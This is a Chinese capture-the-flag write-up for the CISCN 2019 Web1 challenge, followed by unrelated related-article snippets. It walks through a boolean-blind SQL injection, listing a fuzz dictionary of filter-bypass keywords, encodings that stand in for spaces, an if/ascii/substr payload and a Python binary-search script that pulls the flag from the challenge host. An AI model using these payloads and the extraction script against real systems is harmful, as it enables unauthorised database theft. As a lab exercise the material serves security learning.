[CISCN 2019华北Day2]Web1

[CISCN 2019华北Day2]Web1 wp

很遗憾的是,我在做这题时没有什么头绪。用 sqlmap 开最高等级也只扫出来库名,表名和列名扫不出来,就算直接指定表名和列名,还是扫不出来,sqlmap 测出来的方法是时间盲注。

推荐博客: ciscn2019华北赛区半决赛day2_web1题解

题目页面:

在这里插入图片描述

方法是布尔盲注

首先我的感悟是布尔盲注不一定需要明确的看到 0 或 1,true 或 false,只要有两种不同的回显状态就可以拿来利用了。

比如这道题:

输入 1 ,返回:Hello, glzjin wants a girlfriend.

输入 2 ,返回:Do you want to be my girlfriend?

输入其他数字,返回:Error Occured When Fetch Result.

被过滤的状态:SQL Injection Checked.

其他状态:bool(false)

那么就可以选取其中两种状态作为输入,根据返回结果来判断语句是否执行成功。

FUZZ 测试被过滤符号

测试的时候像这样把被测试的符号放在中间,可以测的更准确一点:

在这里插入图片描述

收集一些 SQL 注入要用到的字符,组成一个字典:

 
^
&
&&
|
||
and
And
anandd
AnanDd
or
Or
oorr
union
uNIon
ununionion
UnunionIOn
substr
length
ascii
=
>
/**/
(
)
<
select
selselect
SeleCT
updatexml
extractvalue
floor
limit
select
selselectect
concat
group
by
order
information_schema
tables
where
left
right
regexp
%20
%09
%0A
%0C
%0D
%0B
%A0

fuzz 完以后,发现空格是被过滤了,select 之类还能继续用:

在这里插入图片描述

关于空格的绕过

以下可以代替空格:

%20

%09

%0A(%0a)

%0C(%0c)

%0D(%0d)

%0B(%ob)

%A0(%a0)

/**/

Tab 键

此外还可以用括号代替空格,比如用:

select(flag)from(flag)

代替:

select flag from flag
构造 payload

可以构造像这样的 payload :

if(ascii(substr((select(flag)from(flag)),1,1))>ascii('f'),1,2)

若结果为 true ,则返回 1 ,那么如若返回结果为:

Hello, glzjin wants a girlfriend.

说明 if 语句执行的结果是 1 ,说明比较结果为 true 。

反之,若返回结果为:

Do you want to be my girlfriend?

说明 if 语句执行的结果是 2 ,说明比较结果为 false 。

以此来确定 flag 的每一个字符。

构造脚本

根据推荐的文章来看,可以使用二分法来确定 flag 的每一个字符,比起一个一个匹配,这样效率会更高,于是编写如下脚本(出自推荐文章):

import requests

url = 'http://node4.anna.nssctf.cn:28408/index.php'
data = {"id":""}
flag = ''

i = 1
while True:
#从可打印字符开始
    begin = 32
    end = 126
    tmp = (begin+end)//2
    while begin<end:
        data["id"] = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(i,tmp)
        r = requests.post(url,data=data)
        if 'Hello' in r.text:
            begin = tmp+1
            tmp = (begin+end)//2
        else:
            end = tmp
            tmp = (begin+end)//2
    flag+=chr(tmp)
    print(flag)
    i+=1
    if flag[-1]=='}':
        break

其中 ASCII 码值 32-126 涵盖了所有可见字符。

执行结果:

在这里插入图片描述

拿到 flag 。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/332938.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

游泳耳机有什么好处?四款适合水下听歌的优质游泳耳机分享

游泳是一项健康有益的运动&#xff0c;而搭配一副高质量的游泳耳机&#xff0c;更能在游泳过程中享受音乐的陪伴。本文将介绍游泳耳机的好处&#xff0c;并为大家推荐四款适合水下听歌的游泳耳机&#xff0c;让大家在游泳中拥有更加丰富的体验。 接下来跟我一起看看游泳耳机的好…

allegro画PCB如何将版图底板改大

Step->Designer Parameter Editor width和hight是你设置的版图高和宽&#xff0c;X和Y是你版图上负坐标的最大值。

PowerScale重磅升级,加速迈进AI时代

2024开年 给大伙报告一则好消息 Dell非结构化数据存储的扛把子 PowerScale迎来重大升级 第二代PowerScale全闪存系统 即将闪亮登场 此次升级主要涉及硬件、软件及与NVIDIA的合作关系三个方面&#xff0c;升级后的PowerScale有望成为第一个通过 NVIDIA DGX SuperPOD验证的以…

【电商API接口】电商卖家必看!电商数据源对接全攻略!收藏!

电商竞争白热化的今天&#xff0c;一个电商卖家往往会在多个平台铺设店铺来获取更多的客户。 不同的平台有不同的管理系统&#xff0c;因此&#xff0c;卖家们在做分析时需要从多个系统导出数据&#xff0c;比如各类电商平台&#xff08;淘宝、京东......&#xff09;、各类ER…

Linux安装ossutil工具且在Jenkins中执行shell脚本下载文件

测试中遇到想通过Jenkins下载OSS桶上的文件&#xff0c;要先在linux上安装ossutil工具&#xff0c;记录安装过程如下&#xff1a; 一、下载安装ossutil&#xff0c;使用命令 1.下载&#xff1a;wget https://gosspublic.alicdn.com/ossutil/1.7.13/ossutil64 2.一定要赋权限…

大数据开发之Hadoop(优化新特征)

第 1 章&#xff1a;HDFS-故障排除 注意&#xff1a;采用三台服务器即可&#xff0c;恢复到Yarn开始的服务器快照。 1.1 集群安全模块 1、安全模式&#xff1a;文件系统只接收读数据请求&#xff0c;而不接收删除、修改等变更请求 2、进入安全模式场景 1&#xff09;NameNod…

kali下-MSF-ftp_login模块破解FTP账号及密码

一、环境准备 两台设备在同一个网络内 一台kali系统&#xff1a;192.168.10.128 一台winserver2016&#xff1a;192.168.10.132 二、MSF介绍 metasploit 全称是The Metasploit Framework&#xff0c;又称MSF&#xff0c;是Kali 内置的一款渗透测试框架&#xff0c;也是全球…

学习JavaEE的日子 day15 访问修饰符,Object,equals底层,final

Day15 1.访问修饰符 理解&#xff1a;给类、方法、属性定义访问权限的关键字 注意&#xff1a; 1.修饰类只能使用public和默认的访问权限 2.修饰方法和属性可以使用所有的访问权限 经验&#xff1a; 1.属性一般使用private修饰&#xff0c;因为封装 2.属性或者方法如果需要被子…

珠三角佛山哪里有抄数的公司汽车3d尺寸检测逆向建模三维扫描服务

在当今的汽车行业中&#xff0c;随着技术的不断进步&#xff0c;对汽车配件的精度和质量要求也越来越高。传统的测量和设计方法已经无法满足现代工业生产的需要。因此&#xff0c;汽车配件三维扫描及建模设计技术的出现&#xff0c;为汽车制造业带来了革命性的变革。 汽车配件三…

C++ Linux动态库的编译和调用

一、C动态库编译 采用g编译C动态库&#xff0c;命令如下&#xff1a; g -fPIC -shared -o 动态库名 cpp文件名1.1 关于fPIC选项 首先了解动态库的载入时重定位。 一般linux的可执行文件都是elf格式&#xff08;一种二进制文件格式&#xff09;&#xff0c;在可执行文件的头部包…

在线App封装技术:HTML5的新生命

HTML5封装的魅力所在HTML5带来了丰富的多媒体功能、地理位置服务、离线存储等特性&#xff0c;使得Web应用的体验更加接近原生App。封装HTML5到App中&#xff0c;可以大大缩短开发周期&#xff0c;降低开发成本&#xff0c;并且一次编写&#xff0c;多平台运行&#xff0c;极大…

ant-desgin的table的上移、下移

文章目录 html部分函数部分 html部分 <a-table :columns"columns" :data-source"dataList" :loading"listLoading" :pagination"false"><template #bodyCell"{ column, record, index }"><template v-if&qu…

Xline v0.6.1: 一个用于元数据管理的分布式KV存储

Xline是什么&#xff1f;我们为什么要做Xline&#xff1f; Xline是一个基于Curp协议的&#xff0c;用于管理元数据的分布式KV存储。现有的分布式KV存储大多采用Raft共识协议&#xff0c;需要两次RTT才能完成一次请求。当部署在单个数据中心时&#xff0c;节点之间的延迟较低&a…

2024Java高频面试题之MQ消息中间件,面试都问些什么?(附详细答案)

最近很多同学问我有没有java学习资料&#xff0c;我根据我从小白到架构师多年的学习经验整理出来了一份50W字面试解析文档、简历模板、学习路线图、java必看学习书籍 、 需要的小伙伴 可以关注我公众号&#xff1a;“ Tom聊架构 ”&#xff0c; 回复暗号&#xff1a;“ 578”即…

(人才测评)招聘数据分析师的入职测评方案

现在是一个大数据的时代&#xff0c;我们的车载导航、淘宝购物、包括人才招聘、都是大数据的产物&#xff0c;然而光靠数据堆积是没用的&#xff0c;所以如何高效的进行数据挖掘与分析&#xff0c;就成了每一件企业思考的问题。 一、 数据分析师的基本工作标准 1、 平时需要…

信息化和数字化的本质区别是什么?

信息化和数字化的本质区别是什么&#xff1f; 谢邀。前两年流行”信息化“&#xff0c;网上铺天盖地都是关于”信息化“的文章&#xff0c;这两年开始流行起“数字化”&#xff0c;于是铺天盖地都是“数字化”的文章&#xff0c;从数字化和信息化这两个关键词热度趋势就可以看…

qemu安装踩坑记(源码编译make版

qemu安装踩坑记&#xff08;源码编译make版 【写在前面】 本篇文章写于6.27号&#xff0c;发现写完但没发博客2333 大家好这里是β-AS&#xff0c;或者也可以喊我贝塔&#xff0c;或许也可也喊我be7a 没有人会永远学qemu&#xff0c;但永远会有人踩坑.jpg 依旧推荐一首歌 -1…

如何使用JS逆向爬取网站数据

引言&#xff1a; JS逆向是指利用编程技术对网站上的JavaScript代码进行逆向分析&#xff0c;从而实现对网站数据的抓取和分析。这种技术在网络数据采集和分析中具有重要的应用价值&#xff0c;能够帮助程序员获取网站上的有用信息&#xff0c;并进行进一步的处理和分析。 基…

Pytest插件pytest-django让Django测试更高效

在Django应用开发中&#xff0c;测试是确保应用质量的关键环节。然而&#xff0c;Django自带的测试框架并非总能满足开发者的需求&#xff0c;而Pytest插件 pytest-django 则为我们提供了更为灵活、强大的测试工具。本文将深入介绍 pytest-django 插件的基本用法和实际案例&…

ChatGPT给出的前端面试考点(html+css+JS)

ChatGPT给出的前端面试考点&#xff08;htmlcssJS&#xff09; HTML HTML是什么&#xff0c;它的主要作用是什么&#xff1f; 什么是DOCTYPE&#xff0c;为什么在HTML文档中使用它&#xff1f; HTML5相对于之前的HTML版本有哪些主要的新特性&#xff1f; 解释语义化HTML的概…